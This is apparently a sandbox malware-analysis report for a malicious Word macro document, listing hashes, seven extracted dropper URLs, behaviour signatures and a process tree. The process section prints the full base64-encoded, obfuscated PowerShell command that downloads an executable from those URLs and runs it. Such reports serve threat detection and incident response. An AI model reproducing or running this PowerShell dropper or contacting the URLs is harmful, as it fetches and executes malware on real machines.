Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/09/2024, 17:55

General

  • Target

    d4eb931d97a7ae1aa727f68d32763920_JaffaCakes118.doc

  • Size

    154KB

  • MD5

    d4eb931d97a7ae1aa727f68d32763920

  • SHA1

    807182407c85efe5880aacfa21043e487b7871c8

  • SHA256

    b5be7bb2f5a521f8ec0417e9f4da3c9f919f688a9a2c089b1503e1bab24e3eff

  • SHA512

    ae357488a9aac61d9fc155db2f8b360952f789f371103ea57dfc65e11140d604d7838444e16e1c9a88158a8912f515a040755cdc41618d891211b4dfb7d739ff

  • SSDEEP

    1536:CJ0ZsWTJ0ZsWirdi1Ir77zOH98Wj2gpngR+a9UQ54LW0wK:5rfrzOH98ipgg+qDwK

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://intrasistemas.com/cgi-bin/mTQls3/

exe.dropper

http://gforcems.it/modules/D/

exe.dropper

http://cooltattoo.es/hatone/6YAA0O2/

exe.dropper

http://diesner.de/css/cf/

exe.dropper

http://go4it24.be/administrator/Q1r3/

exe.dropper

http://eltrafalgar.com/wp-includes/VFSi/

exe.dropper

http://infoestudio.es/cursos/qPP/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d4eb931d97a7ae1aa727f68d32763920_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:876
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABXADIAYwBnAHoAcABzAD0AKAAnAEEAMgAnACsAKAAnADIAcQA2AG8AJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBwAFIATwBGAGkATABlAFwAVQBpADcAQwBLADkAOABcAGMAdQBZAFAAdQBYAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBJAHQAWQBgAFAAcgBgAE8AVABPAGAAQwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEgAMQAwADIAMwB2ADIAIAA9ACAAKAAnAEQAJwArACcAawAnACsAKAAnAHoANQAnACsAJwA0AHkAbQAnACsAJwBpADAAJwApACkAOwAkAEoAMAA3AHAAbwB4AGUAPQAoACgAJwBXAGEAcwAnACsAJwB2ACcAKQArACgAJwBhAG8AJwArACcAMgAnACkAKQA7ACQARQA2AHcAcgB0AHQANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHoARgBmACcAKwAnAFUAaQAnACkAKwAnADcAJwArACcAYwAnACsAKAAnAGsAOQA4AHoARgAnACsAJwBmAEMAJwArACcAdQB5ACcAKQArACcAcAB1ACcAKwAoACcAeAAnACsAJwB2AHoARgBmACcAKQApAC4AIgBSAEUAcABMAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAyADIAKwBbAEMAaABBAHIAXQA3ADAAKwBbAEMAaABBAHIAXQAxADAAMgApACwAJwBcACcAKQApACsAJABIADEAMAAyADMAdgAyACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAHUAaABxADAAMgByAD0AKAAnAEgAawAnACsAKAAnADAAMwB2AGcAJwArACcAcAAnACkAKQA7ACQAQwB3AG8AagBhAGwANwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwASQBFAG4AdAA7ACQAQQA3AHoAYQBmADUAZQA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGkAbgB0AHIAYQBzACcAKQArACgAJwBpAHMAdAAnACsAJwBlACcAKQArACgAJwBtAGEAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAJwApACsAJwBnACcAKwAoACcAaQAtAGIAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwAvACcAKwAnAG0AVABRAGwAJwApACsAKAAnAHMAMwAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8ALwBnAGYAbwAnACkAKwAoACcAcgBjAGUAJwArACcAbQBzACcAKQArACcALgAnACsAKAAnAGkAJwArACcAdAAvACcAKQArACcAbQAnACsAJwBvACcAKwAnAGQAdQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAEQAJwArACcALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBjAG8AbwAnACkAKwAoACcAbAAnACsAJwB0AGEAdAB0AG8AbwAnACkAKwAnAC4AJwArACgAJwBlAHMALwBoACcAKwAnAGEAJwArACcAdABvAG4AZQAnACkAKwAoACcALwA2ACcAKwAnAFkAQQAnACkAKwAoACcAQQAwACcAKwAnAE8AMgAvACoAaAAnACsAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AZAAnACsAJwBpAGUAJwArACcAcwAnACkAKwAnAG4AZQAnACsAKAAnAHIAJwArACcALgBkAGUALwAnACkAKwAoACcAYwBzAHMALwBjACcAKwAnAGYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBnAG8ANAAnACkAKwAoACcAaQB0ADIANAAnACsAJwAuAGIAJwArACcAZQAvACcAKQArACgAJwBhAGQAbQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGkAJwArACcAcwB0AHIAYQAnACsAJwB0AG8AcgAvAFEAJwArACcAMQAnACkAKwAnAHIAJwArACgAJwAzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGUAJwApACsAJwBsACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAZgBhAGwAJwArACcAZwAnACsAJwBhAHIALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBWAEYAJwArACcAUwBpACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAGUAJwApACsAKAAnAHMAdAB1AGQAJwArACcAaQAnACkAKwAnAG8ALgAnACsAJwBlACcAKwAoACcAcwAvACcAKwAnAGMAdQByACcAKQArACgAJwBzAG8AcwAvAHEAJwArACcAUABQAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA4AGMAdAB3AHcAbQA9ACgAKAAnAEkAJwArACcAbABzAGMAbgAnACkAKwAnAHUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMADcAMAByAGIAegAyACAAaQBuACAAJABBADcAegBhAGYANQBlACkAewB0AHIAeQB7ACQAQwB3AG8AagBhAGwANwAuACIARABPAHcAbgBgAGwAbwBhAGQAYABGAGAAaQBMAGUAIgAoACQATAA3ADAAcgBiAHoAMgAsACAAJABFADYAdwByAHQAdAA2ACkAOwAkAEMAbwB3ADQAYgBzADUAPQAoACcATQBlACcAKwAoACcAZgBkACcAKwAnAHoAJwApACsAJwBtADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUANgB3AHIAdAB0ADYAKQAuACIATABgAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA5ADEAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABFADYAdwByAHQAdAA2ACkAOwAkAFIAbgBlAGwAaAA1AHIAPQAoACcAQwAnACsAJwBmACcAKwAoACcAeQBpACcAKwAnAHAAbwAxACcAKQApADsAYgByAGUAYQBrADsAJABSAHoAaAB2AHcAMwAxAD0AKAAoACcATABiACcAKwAnAHIAcQBpACcAKQArACcAcABfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAHoAaABmADAANwA9ACgAJwBFAHYAJwArACgAJwA5ACcAKwAnAG0AZwBvACcAKQArACcAYwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:448

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDDA9F.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z4ogrl3z.w3x.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    65ab8a8ec22873597f80237d0c1ae2f1

    SHA1

    dd6d48a49586aaecf4f1a63428b8ef863e4c56f0

    SHA256

    399442fbf1453f978fe2bfc2c7cc4266b839bc24c8261407ce8a7b869c8f3697

    SHA512

    35f91baa4aa49af8d7f254d9d9a52b0d8f83f7fc6cf91bd28b97a00f0069e963d60909cd78da0027615595f5bf4c800d757b8bf339f99a45fec84d8e815ba732

  • memory/448-66-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/448-253-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/448-88-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/448-73-0x0000026A06C10000-0x0000026A06C32000-memory.dmp

    Filesize

    136KB

  • memory/876-12-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-77-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-11-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-13-0x00007FF93E1D0000-0x00007FF93E1E0000-memory.dmp

    Filesize

    64KB

  • memory/876-8-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-7-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-6-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-14-0x00007FF93E1D0000-0x00007FF93E1E0000-memory.dmp

    Filesize

    64KB

  • memory/876-24-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-25-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-9-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-10-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-1-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-0-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-78-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-2-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-87-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB

  • memory/876-5-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-4-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-3-0x00007FF980A8D000-0x00007FF980A8E000-memory.dmp

    Filesize

    4KB

  • memory/876-274-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-277-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-276-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-275-0x00007FF940A70000-0x00007FF940A80000-memory.dmp

    Filesize

    64KB

  • memory/876-278-0x00007FF9809F0000-0x00007FF980BE5000-memory.dmp

    Filesize

    2.0MB